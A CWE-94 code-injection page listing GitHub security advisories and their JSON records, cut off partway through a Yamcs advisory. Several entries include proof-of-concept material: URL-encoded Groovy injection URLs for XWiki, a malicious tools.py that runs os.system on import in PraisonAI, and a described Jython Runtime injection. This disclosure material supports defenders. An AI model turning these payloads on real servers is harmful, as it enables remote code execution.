Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8342 vulnerabilities reference this CWE, most recent first.

GHSA-2FW3-WC2H-WV2Q

Vulnerability from github – Published: 2022-05-01 23:44 – Updated: 2022-05-01 23:44
VLAI
Details

PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsoffice_directory parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-22T04:41:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsoffice_directory parameter.",
  "id": "GHSA-2fw3-wc2h-wv2q",
  "modified": "2022-05-01T23:44:42Z",
  "published": "2022-05-01T23:44:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1903"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41770"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5429"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29797"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28748"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2FW4-MGQ9-39CX

Vulnerability from github – Published: 2021-04-22 15:53 – Updated: 2021-04-21 21:15
VLAI
Summary
Code Injection in oauth2-server
Details

"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states 'As RFC7636 is an extension, I think the claim in the Readme of "RFC 6749 compliant" is valid and not misleading and I also therefore wouldn't describe this as a "vulnerability" with the library per se.'"

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "oauth2-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-18924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-21T21:15:38Z",
    "nvd_published_at": "2020-10-04T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "\"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states \u0027As RFC7636 is an extension, I think the claim in the Readme of \"RFC 6749 compliant\" is valid and not misleading and I also therefore wouldn\u0027t describe this as a \"vulnerability\" with the library per se.\u0027\"",
  "id": "GHSA-2fw4-mgq9-39cx",
  "modified": "2021-04-21T21:15:38Z",
  "published": "2021-04-22T15:53:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauthjs/node-oauth2-server/issues/637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oauthjs/node-oauth2-server/pull/452"
    },
    {
      "type": "WEB",
      "url": "https://codeburst.io/missing-the-point-in-securing-oauth-2-0-83968708b467"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc7636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in oauth2-server"
}

GHSA-2FXR-HRFF-7M5H

Vulnerability from github – Published: 2022-05-02 03:17 – Updated: 2022-05-02 03:17
VLAI
Details

PHP remote file inclusion vulnerability in moduli/libri/index.php in phpyabs 0.1.2 allows remote attackers to execute arbitrary PHP code via a URL in the Azione parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-0639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-18T16:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in moduli/libri/index.php in phpyabs 0.1.2 allows remote attackers to execute arbitrary PHP code via a URL in the Azione parameter.",
  "id": "GHSA-2fxr-hrff-7m5h",
  "modified": "2022-05-02T03:17:04Z",
  "published": "2022-05-02T03:17:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0639"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/8005"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33670"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/0361"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2G3W-CPC4-CHR4

Vulnerability from github – Published: 2026-04-10 19:26 – Updated: 2026-04-10 19:26
VLAI
Summary
PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading
Details

PraisonAI automatically loads a file named tools.py from the current working directory to discover and register custom agent tools. This loading process uses importlib.util.spec_from_file_location and immediately executes module-level code via spec.loader.exec_module() without explicit user consent, validation, or sandboxing.

The tools.py file is loaded implicitly, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named tools.py in the working directory is sufficient to trigger code execution.

This behavior violates the expected security boundary between user-controlled project files (e.g., YAML configurations) and executable code, as untrusted content in the working directory is treated as trusted and executed automatically.

If an attacker can place a malicious tools.py file into a directory where a user or automated system (e.g., CI/CD pipeline) runs praisonai, arbitrary code execution occurs immediately upon startup, before any agent logic begins.


Vulnerable Code Location

src/praisonai/praisonai/tool_resolver.pyToolResolver._load_local_tools

tools_path = Path(self._tools_py_path)  # defaults to "tools.py" in CWD
...
spec = importlib.util.spec_from_file_location("tools", str(tools_path))
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)  # Executes arbitrary code

Reproducing the Attack

  1. Create a malicious tools.py in the target directory:
import os

# Executes immediately on import
print("[PWNED] Running arbitrary attacker code")
os.system("echo RCE confirmed > pwned.txt")

def dummy_tool():
    return "ok"
  1. Create any valid agents.yaml.

  2. Run:

praisonai agents.yaml
  1. Observe:

  2. [PWNED] is printed

  3. pwned.txt is created
  4. No warning or confirmation is shown

Real-world Impact

This issue introduces a software supply chain risk. If an attacker introduces a malicious tools.py into a repository (e.g., via pull request, shared project, or downloaded template), any user or automated system running PraisonAI from that directory will execute the attacker’s code.

Affected scenarios include:

  • CI/CD pipelines processing untrusted repositories
  • Shared development environments
  • AI workflow automation systems
  • Public project templates or examples

Successful exploitation can lead to:

  • Execution of arbitrary commands
  • Exfiltration of environment variables and credentials
  • Persistence mechanisms on developer or CI systems

Remediation Steps

  1. Require explicit opt-in for loading tools.py

  2. Introduce a CLI flag (e.g., --load-tools) or config option

  3. Disable automatic loading by default

  4. Add pre-execution user confirmation

  5. Warn users before executing local tools.py

  6. Allow users to decline execution

  7. Restrict trusted paths

  8. Only load tools from explicitly defined project directories

  9. Avoid defaulting to the current working directory

  10. Avoid executing module-level code during discovery

  11. Use static analysis (e.g., AST parsing) to identify tool functions

  12. Require explicit registration functions instead of import side effects

  13. Optional hardening

  14. Support sandboxed execution (subprocess / restricted environment)

  15. Provide hash verification or signing for trusted tool files
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-426",
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:26:44Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI automatically loads a file named `tools.py` from the current working directory to discover and register custom agent tools. This loading process uses `importlib.util.spec_from_file_location` and immediately executes module-level code via `spec.loader.exec_module()` **without explicit user consent, validation, or sandboxing**.\n\nThe `tools.py` file is loaded **implicitly**, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named `tools.py` in the working directory is sufficient to trigger code execution.\n\nThis behavior violates the expected security boundary between **user-controlled project files** (e.g., YAML configurations) and **executable code**, as untrusted content in the working directory is treated as trusted and executed automatically.\n\nIf an attacker can place a malicious `tools.py` file into a directory where a user or automated system (e.g., CI/CD pipeline) runs `praisonai`, arbitrary code execution occurs immediately upon startup, before any agent logic begins.\n\n---\n\n## Vulnerable Code Location\n\n`src/praisonai/praisonai/tool_resolver.py` \u2192 `ToolResolver._load_local_tools`\n\n```python\ntools_path = Path(self._tools_py_path)  # defaults to \"tools.py\" in CWD\n...\nspec = importlib.util.spec_from_file_location(\"tools\", str(tools_path))\nmodule = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(module)  # Executes arbitrary code\n```\n\n---\n\n## Reproducing the Attack\n\n1. Create a malicious `tools.py` in the target directory:\n\n```python\nimport os\n\n# Executes immediately on import\nprint(\"[PWNED] Running arbitrary attacker code\")\nos.system(\"echo RCE confirmed \u003e pwned.txt\")\n\ndef dummy_tool():\n    return \"ok\"\n```\n\n2. Create any valid `agents.yaml`.\n\n3. Run:\n\n```bash\npraisonai agents.yaml\n```\n\n4. Observe:\n\n* `[PWNED]` is printed\n* `pwned.txt` is created\n* No warning or confirmation is shown\n\n---\n\n## Real-world Impact\n\nThis issue introduces a **software supply chain risk**. If an attacker introduces a malicious `tools.py` into a repository (e.g., via pull request, shared project, or downloaded template), any user or automated system running PraisonAI from that directory will execute the attacker\u2019s code.\n\nAffected scenarios include:\n\n* CI/CD pipelines processing untrusted repositories\n* Shared development environments\n* AI workflow automation systems\n* Public project templates or examples\n\nSuccessful exploitation can lead to:\n\n* Execution of arbitrary commands\n* Exfiltration of environment variables and credentials\n* Persistence mechanisms on developer or CI systems\n\n---\n\n## Remediation Steps\n\n1. **Require explicit opt-in for loading `tools.py`**\n\n   * Introduce a CLI flag (e.g., `--load-tools`) or config option\n   * Disable automatic loading by default\n\n2. **Add pre-execution user confirmation**\n\n   * Warn users before executing local `tools.py`\n   * Allow users to decline execution\n\n3. **Restrict trusted paths**\n\n   * Only load tools from explicitly defined project directories\n   * Avoid defaulting to the current working directory\n\n4. **Avoid executing module-level code during discovery**\n\n   * Use static analysis (e.g., AST parsing) to identify tool functions\n   * Require explicit registration functions instead of import side effects\n\n5. **Optional hardening**\n\n   * Support sandboxed execution (subprocess / restricted environment)\n   * Provide hash verification or signing for trusted tool files",
  "id": "GHSA-2g3w-cpc4-chr4",
  "modified": "2026-04-10T19:26:44Z",
  "published": "2026-04-10T19:26:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2g3w-cpc4-chr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40156"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading"
}

GHSA-2G5C-228J-P52X

Vulnerability from github – Published: 2022-09-16 17:21 – Updated: 2022-09-16 17:21
VLAI
Summary
XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection
Details

Impact

The tags document Main.Tags in XWiki didn't sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn't a serious limitation as string literals can be delimited by / in Groovy and < and > aren't necessary, e.g., to elevate privileges of the current user.

On XWiki versions before 13.10.4 and 14.2, this can be combined with the authentication bypass using the login action, meaning that no rights are required to perform the attack. The following URL demonstrates the attack: <server>/xwiki/bin/login/Main/Tags?xpage=view&do=viewTag&tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the XWiki installations.

On current versions (e.g, 14.3), the issue can be exploited by requesting the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}} demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}.

Patches

This has been patched in the supported versions 13.10.6 and 14.4.

Workarounds

The patch that fixes the issue can be manually applied to the document Main.Tags or the updated version of that document can be imported from version 14.4 of xwiki-platform-tag-ui using the import feature in the administration UI on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).

References

  • https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427
  • https://jira.xwiki.org/browse/XWIKI-19747

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-tag-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform.applications:xwiki-application-tag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-tag-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0"
            },
            {
              "fixed": "14.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T17:21:25Z",
    "nvd_published_at": "2022-09-08T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nThe tags document `Main.Tags` in XWiki didn\u0027t sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn\u0027t a serious limitation as string literals can be delimited by `/` in Groovy and `\u003c` and `\u003e` aren\u0027t necessary, e.g., to elevate privileges of the current user.\n\nOn XWiki versions before 13.10.4 and 14.2, this can be combined with the [authentication bypass using the login action](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-8h89-34w2-jpfm), meaning that no rights are required to perform the attack. The following URL demonstrates the attack: `\u003cserver\u003e/xwiki/bin/login/Main/Tags?xpage=view\u0026do=viewTag\u0026tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the XWiki installations.\n\nOn current versions (e.g, 14.3), the issue can be exploited by requesting the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}}` demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}`.\n\n### Patches\nThis has been patched in the supported versions 13.10.6 and 14.4.\n\n### Workarounds\nThe [patch that fixes the issue](https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427) can be manually applied to the document `Main.Tags` or the updated version of that document can be imported from [version 14.4 of xwiki-platform-tag-ui](https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-tag-ui/14.4/xwiki-platform-tag-ui-14.4.xar) using [the import feature in the administration UI](https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application#HImport) on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427\n* https://jira.xwiki.org/browse/XWIKI-19747\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-2g5c-228j-p52x",
  "modified": "2022-09-16T17:21:25Z",
  "published": "2022-09-16T17:21:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2g5c-228j-p52x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection"
}

GHSA-2G5F-835H-7QJR

Vulnerability from github – Published: 2022-05-01 07:22 – Updated: 2022-05-01 07:22
VLAI
Details

Integer overflow in PHP 5 up to 5.1.6 and 4 before 4.3.0 allows remote attackers to execute arbitrary code via an argument to the unserialize PHP function with a large value for the number of array elements, which triggers the overflow in the Zend Engine ecalloc function (Zend/zend_alloc.c).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2006-4812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-10T04:06:00Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in PHP 5 up to 5.1.6 and 4 before 4.3.0 allows remote attackers to execute arbitrary code via an argument to the unserialize PHP function with a large value for the number of array elements, which triggers the overflow in the Zend Engine ecalloc function (Zend/zend_alloc.c).",
  "id": "GHSA-2g5f-835h-7qjr",
  "modified": "2022-05-01T07:22:09Z",
  "published": "2022-05-01T07:22:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4812"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29362"
    },
    {
      "type": "WEB",
      "url": "http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161\u0026r2=1.162"
    },
    {
      "type": "WEB",
      "url": "http://lists.suse.com/archive/suse-security-announce/2006-Oct/0002.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2006-0688.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2006-0708.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22280"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22281"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22300"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22331"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22338"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22533"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22538"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22650"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/1691"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1016984"
    },
    {
      "type": "WEB",
      "url": "http://support.avaya.com/elmodocs2/security/ASA-2006-223.htm"
    },
    {
      "type": "WEB",
      "url": "http://support.avaya.com/elmodocs2/security/ASA-2006-234.htm"
    },
    {
      "type": "WEB",
      "url": "http://www.gentoo.org/security/en/glsa/glsa-200610-14.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.hardened-php.net/advisory_092006.133.html"
    },
    {
      "type": "WEB",
      "url": "http://www.hardened-php.net/files/CVE-2006-4812.patch"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/448014/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/448953/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20349"
    },
    {
      "type": "WEB",
      "url": "http://www.trustix.org/errata/2006/0055"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-362-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/3922"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2G6R-MHP9-27W3

Vulnerability from github – Published: 2022-05-17 01:05 – Updated: 2025-04-20 03:44
VLAI
Details

PHP remote file inclusion vulnerability in the get_file function in upload/admin2/controller/report_logs.php in AlegroCart 1.2.8 allows remote administrators to execute arbitrary PHP code via a URL in the file_path parameter to upload/admin2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-9227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-11T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in the get_file function in upload/admin2/controller/report_logs.php in AlegroCart 1.2.8 allows remote administrators to execute arbitrary PHP code via a URL in the file_path parameter to upload/admin2.",
  "id": "GHSA-2g6r-mhp9-27w3",
  "modified": "2025-04-20T03:44:42Z",
  "published": "2022-05-17T01:05:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9227"
    },
    {
      "type": "WEB",
      "url": "https://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/38728"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/134361/AlegroCart-1.2.8-Local-Remote-File-Inclusion.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2015/Nov/67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G74-JG6P-C4X3

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44
VLAI
Details

Application Virtualization Remote Code Execution Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-26890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-11T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Application Virtualization Remote Code Execution Vulnerability",
  "id": "GHSA-2g74-jg6p-c4x3",
  "modified": "2022-05-24T17:44:21Z",
  "published": "2022-05-24T17:44:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26890"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26890"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G7P-7MVP-PW7M

Vulnerability from github – Published: 2024-04-03 12:31 – Updated: 2026-04-01 18:31
VLAI
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Inpersttion Slivery Extender allows Code Injection.This issue affects Slivery Extender: from n/a through 1.0.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T12:15:11Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Inpersttion Slivery Extender allows Code Injection.This issue affects Slivery Extender: from n/a through 1.0.2.",
  "id": "GHSA-2g7p-7mvp-pw7m",
  "modified": "2026-04-01T18:31:44Z",
  "published": "2024-04-03T12:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27191"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/slivery-extender/vulnerability/wordpress-slivery-extender-plugin-1-0-2-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/slivery-extender/wordpress-slivery-extender-plugin-1-0-2-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G95-6X5Q-XJWJ

Vulnerability from github – Published: 2026-05-27 22:49 – Updated: 2026-05-27 22:49
VLAI
Summary
Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection
Details

Summary

A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details

The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites: 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

  1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

